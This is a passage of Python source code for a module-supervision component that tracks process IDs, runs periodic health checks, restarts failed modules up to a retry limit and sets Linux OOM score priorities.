logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type)
|
||||
|
||||
def _on_module_stopped(self, event: Event) -> None:
|
||||
"""Remove a stopped module from monitoring."""
|
||||
name = event.payload.get("module", "")
|
||||
if name:
|
||||
with self._lock:
|
||||
self._monitored.pop(name, None)
|
||||
|
||||
def _on_module_error(self, event: Event) -> None:
|
||||
"""Handle a module error event — attempt restart."""
|
||||
name = event.payload.get("module", "")
|
||||
error = event.payload.get("error", "unknown")
|
||||
logger.warning("Module error reported: %s — %s", name, error)
|
||||
self._attempt_restart(name)
|
||||
|
||||
def _on_tool_crashed(self, event: Event) -> None:
|
||||
"""Handle a managed tool crash — delegate restart to engine/tool_manager."""
|
||||
tool = event.payload.get("tool", "")
|
||||
pid = event.payload.get("pid")
|
||||
logger.warning("Tool crashed: %s (PID %s)", tool, pid)
|
||||
|
||||
# Tool restarts are handled by tool_manager; we just log and track
|
||||
with self._lock:
|
||||
entry = self._monitored.get(tool)
|
||||
if entry:
|
||||
entry.restart_count += 1
|
||||
entry.last_status = "crashed"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Health check loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _health_check_loop(self) -> None:
|
||||
"""Periodic health check of all monitored modules."""
|
||||
while self._running:
|
||||
time.sleep(self._check_interval)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
self._run_health_checks()
|
||||
|
||||
def _run_health_checks(self) -> None:
|
||||
"""Check health of all monitored modules."""
|
||||
with self._lock:
|
||||
entries = list(self._monitored.values())
|
||||
|
||||
for entry in entries:
|
||||
if entry.failed:
|
||||
continue # Already gave up on this module
|
||||
|
||||
now = time.time()
|
||||
entry.last_check = now
|
||||
|
||||
# Check if process is alive
|
||||
if not self._is_pid_alive(entry.pid):
|
||||
logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid)
|
||||
entry.last_status = "dead"
|
||||
self._attempt_restart(entry.name)
|
||||
continue
|
||||
|
||||
# Check process health via engine if available
|
||||
if self.engine:
|
||||
try:
|
||||
module_instance = self._get_module_instance(entry.name)
|
||||
if module_instance and hasattr(module_instance, "health_check"):
|
||||
healthy = module_instance.health_check()
|
||||
entry.last_status = "healthy" if healthy else "unhealthy"
|
||||
if not healthy:
|
||||
logger.warning("Module %s failed health check", entry.name)
|
||||
self._attempt_restart(entry.name)
|
||||
continue
|
||||
else:
|
||||
entry.last_status = "alive"
|
||||
except Exception as exc:
|
||||
logger.debug("Health check error for %s: %s", entry.name, exc)
|
||||
entry.last_status = "check_error"
|
||||
else:
|
||||
# No engine reference — just check PID is alive
|
||||
entry.last_status = "alive"
|
||||
|
||||
def _attempt_restart(self, module_name: str) -> None:
|
||||
"""Attempt to restart a failed module via the engine."""
|
||||
with self._lock:
|
||||
entry = self._monitored.get(module_name)
|
||||
if not entry:
|
||||
return
|
||||
if entry.failed:
|
||||
return
|
||||
|
||||
entry.restart_count += 1
|
||||
if entry.restart_count > MAX_RESTART_ATTEMPTS:
|
||||
entry.failed = True
|
||||
entry.last_status = "given_up"
|
||||
logger.error(
|
||||
"Module %s exceeded max restarts (%d) — giving up",
|
||||
module_name, MAX_RESTART_ATTEMPTS,
|
||||
)
|
||||
self.bus.emit(
|
||||
"MODULE_ERROR",
|
||||
{"module": module_name, "error": "max_restarts_exceeded",
|
||||
"restarts": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
return
|
||||
|
||||
logger.info(
|
||||
"Attempting restart of %s (attempt %d/%d)",
|
||||
module_name, entry.restart_count, MAX_RESTART_ATTEMPTS,
|
||||
)
|
||||
|
||||
# Delegate restart to engine
|
||||
if self.engine and hasattr(self.engine, "restart_module"):
|
||||
try:
|
||||
success = self.engine.restart_module(module_name)
|
||||
if success:
|
||||
entry.last_status = "restarted"
|
||||
self.bus.emit(
|
||||
"MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr(
|
||||
self.bus, '_subscribers', {}
|
||||
) else "TOOL_RESTARTED",
|
||||
{"module": module_name, "attempt": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
# Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but
|
||||
# subscribers can still listen for it)
|
||||
self.bus.emit(
|
||||
"TOOL_RESTARTED",
|
||||
{"module": module_name, "tool": module_name,
|
||||
"attempt": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Successfully restarted %s", module_name)
|
||||
else:
|
||||
entry.last_status = "restart_failed"
|
||||
logger.error("Engine failed to restart %s", module_name)
|
||||
except Exception as exc:
|
||||
entry.last_status = "restart_error"
|
||||
logger.error("Restart error for %s: %s", module_name, exc)
|
||||
else:
|
||||
logger.warning("No engine available — cannot restart %s", module_name)
|
||||
entry.last_status = "no_engine"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# OOM priority management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _set_oom_priority(self, pid: int, module_type: str) -> None:
|
||||
"""Set OOM score adjustment for a process based on its module type."""
|
||||
score = _OOM_PRIORITIES.get(module_type, 0)
|
||||
oom_path = f"/proc/{pid}/oom_score_adj"
|
||||
try:
|
||||
with open(oom_path, "w") as f:
|
||||
f.write(str(score))
|
||||
logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type)
|
||||
except (IOError, PermissionError) as exc:
|
||||
logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _refresh_monitored_list(self) -> None:
|
||||
"""Populate monitored list from state manager's module status."""
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
with self._lock:
|
||||
for name, info in all_status.items():
|
||||
if name == self.name:
|
||||
continue
|
||||
if info.get("status") == "running" and info.get("pid"):
|
||||
self._monitored[name] = _ModuleEntry(
|
||||
name=name,
|
||||
module_type="unknown",
|
||||
pid=info["pid"],
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.debug("Could not refresh monitored list: %s", exc)
|
||||
|
||||
def _get_module_instance(self, module_name: str):
|
||||
"""Get a module instance from the engine if available."""
|
||||
if self.engine and hasattr(self.engine, "get_module"):
|
||||
return self.engine.get_module(module_name)
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _is_pid_alive(pid: int) -> bool:
|
||||
"""Check if a process with the given PID exists."""
|
||||
try:
|
||||
os.kill(pid, 0)
|
||||
return True
|
||||
except (ProcessLookupError, PermissionError):
|
||||
return False
|
||||
except OSError:
|
||||
return False
|
||||
Reference in New Issue
Block a user